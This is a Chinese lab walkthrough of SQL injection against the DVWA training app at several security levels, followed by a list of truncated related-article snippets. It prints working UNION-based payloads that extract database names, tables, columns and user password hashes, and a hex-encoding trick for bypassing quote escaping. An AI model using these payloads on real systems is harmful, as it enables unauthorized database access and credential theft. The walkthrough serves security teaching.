DVWA-SQL注入

一、SQL注入概念

SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

二、手工注入常规思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定回显位置

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.得到数据

三、DVWA注入分析

将DVWA的级别设置为low

1.分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入。

  

2.判断sql是否存在存入,以及注入的类型

1‘ and ‘1‘=‘1

  

3.猜解SQL查询语句中的字段数

3.1   1‘ order by 2#

  

3.2   1‘ order by 3#

  

3.3从上面两个图可以说明,SQL语句查询的表的字段数是2

4.确定显示的位置(SQL语句查询之后的回显位置)

1‘ union select 1,2#    #下图可以看出有2个回显

  

5.查询当前的数据库,以及版本

1‘ union select version(),database()#

  

6.获取数据库中的表

1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  

7.获取表中的字段名

1‘ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users‘#

  

8.获得字段中的数据

1‘ union select user,password from users#

  

将DVWA的级别设置为Medium

1.下图可以看到中级加入了一些防御,不让用户输入,只提供选择(可以用burpsuit抓包来绕过),分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句中的一些特殊字符,查看sql查询语句可以看出可能存在数字型sql注入

  

  

2.通过burpsuit抓包,修改数据包,绕过防御

2.1判断注入点,以及注入的类型,下图可以看到,存在注入,注入类型是数字型注入

  

2.2猜解sql查询语句中的字段的个数,下图说明字段的个数为2

  

  

2.3.确定回显的位置,下图可以说明有2个回显位置

1 union select 1,2#

  

2.4.获取当前数据库的名称以及版本

1 union select database(),version()#

  

2.5获取数据库中的所有表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  

2.6获取表中的所有字段名

考虑到单引号被转义,可以利用 16 进制进行绕过

union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

  

2.7获取字段中的数据

1 union select user,password from users#

  

将DVWA的级别设置为High

1.将dvwa设置为高级,可以看出,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过

  

  

   

2.2获得密码

  

将DVWA的级别设置为Impossible

1.分析源码可以看到使用了PDO技术,杜绝了SQL注入

  

原文地址:https://www.cnblogs.com/yuzly/p/10725942.html

时间: 2024-10-04 00:20:53

DVWA-SQL注入的相关文章

《11招玩转网络安全》之第四招:low级别的DVWA SQL注入

以DVWA为例,进行手工注入,帮助读者了解注入原理和过程. 1.启动docker,并在终端中执行命令: docker ps -a docker start LocalDVWA docker ps 执行结果如图4-19所示. ? 图4-19  启动DVWA 2.在浏览器地址栏输入127.0.0.1后回车,浏览器打开了DVWA页面(DVWA在前面的章节中已建立完毕).先点击左侧栏的DVWA Security,将难度调整至Low级别.单击左侧栏的SQL Injection,进入SQL注入页面,如图4-

记一次dvwa sql注入爆库

一 前期准备 1 sqlmap在windows环境下需要python2.7的支持,在python官网下载即可 https://www.python.org/ 2 安装python2.7,默认即可.安装完成后需要配置下环境变量.右击计算机->高级系统设置->环境变量,找到系统变量的Path选项,双击,在最后添加;C:\Python27":"必须要有,如果有其他python,可以删掉.这是我的安装路径. 3 按windows+R,输入cmd打开dos界面,输入python进行测

SQL注入深入剖析

SQL注入是一门很深的学问,也是一门很有技巧性的学问 1.  运算符的优先级介绍 2.  SQL语句执行函数介绍 mysql_query() 仅对 SELECT,SHOW,EXPLAIN 或 DESCRIBE 语句返回一个资源标识符,如果查询执行不正确则返回 FALSE. 对于其它类型的 SQL 语句,mysql_query() 在执行成功时返回 TRUE,出错时返回 FALSE. 非FALSE 的返回值意味着查询是合法的并能够被服务器执行.这并不说明任何有关影响到的或返回的行数.很有可能一条查

通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解

0x1:工具和环境介绍 dvwa:渗透测试环境 BurpSuite:强大的WEB安全测试工具 sqlmap:强大的sql注入工具 以上工具和环境都在kali linux上安装和配置. 0x2:步骤说明 配置Burp Suite和浏览器. 这一步比较简单,主要是用来抓取用来sql注入的信息. 在Burp中设置proxy代理:127.0.0.1:8080,配置浏览器使用代理,这样浏览器的request信息就可以被Burp抓取了. 抓取登录信息 在Burp的Proxy界面可以抓取到浏览器访问的信息,如

【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible

1.初级篇 low.php 先看源码,取得的参数直接放到sql语句中执行 if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; http://localhost/DVWA-master/vulnerabi

SQL注入(dvwa环境)

首先登录DVWA主页: 1.修改安全级别为LOW级(第一次玩别打脸),如图中DVWA Security页面中. 2.进入SQL Injection页面,出错了.(心里想着这DVWA是官网下的不至于玩不了吧..) 网页错误提示:Parse error: syntax error, unexpected '['in C:\xampp\htdocs\DVWA\vulnerabilities\sqli\index.php on line 65 赶紧打开index.php文件,这提示报错65行看看PHP代

DVWA篇之SQL注入

SQL Injection本文需要的实验环境及搭建请访问:DVWA篇之环境搭建 SQL注入就是通过把sql语句插入到web表单提交或输入页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令 Sql注入的一般流程: 1.判断注入点2.判断注入类型3.判断数据库类型4.获取数据库权限,提权 Low级别我们先来分析一下源码,同时再一步步操作,验证我们的分析源码关键部分:我们可以看到,当进行查询参数id的时候没有进行任何过滤,很明显存在注入漏洞的.1. 这时我们试试判断注入点可以输入单引号看是否

DVWA 安装使用 & SQL注入学习心得(一)

DVWA 环境搭建和安装简易使用 下载安装phpstudy,这部分不用说了,肯定大家都有,或者安装过.在浏览器输入127.0.0.1,测试一下. 官网下载DVWA http://www.dvwa.co.uk ,解压后放在phpstudy的www目录下. 此时mysql的密码还是空,登录的时候会提示不能空,可以从phpstudy的界面[其他选项菜单]->[My SQL工具]->[重置密码]. 将DVWA/confing下的config.inc.php.dist修改为config.inc.php,

DVWA(三):SQL injection 全等级SQL注入

(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作. 三.关于SQL注入需要注意的几个点: 1.SQL注入的攻击流程: (1)判断注入点:一般分为三大类 GET.POST参数触发SQL注入,Cookie触发注入 (2)判断注入类

SQL注入之SQLmap入门

什么是SQLmap? SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹.访问底层文件系统.执行命令). 读者可以通过位于SourceForge的官方网站下载SQLmap源码:http://sourceforge.net/projects/sqlmap/ SQLmap的作者是谁? Bernardo DameleAssumpcao Guimaraes (@inquisb),读者可以通过[email protected]与他取得联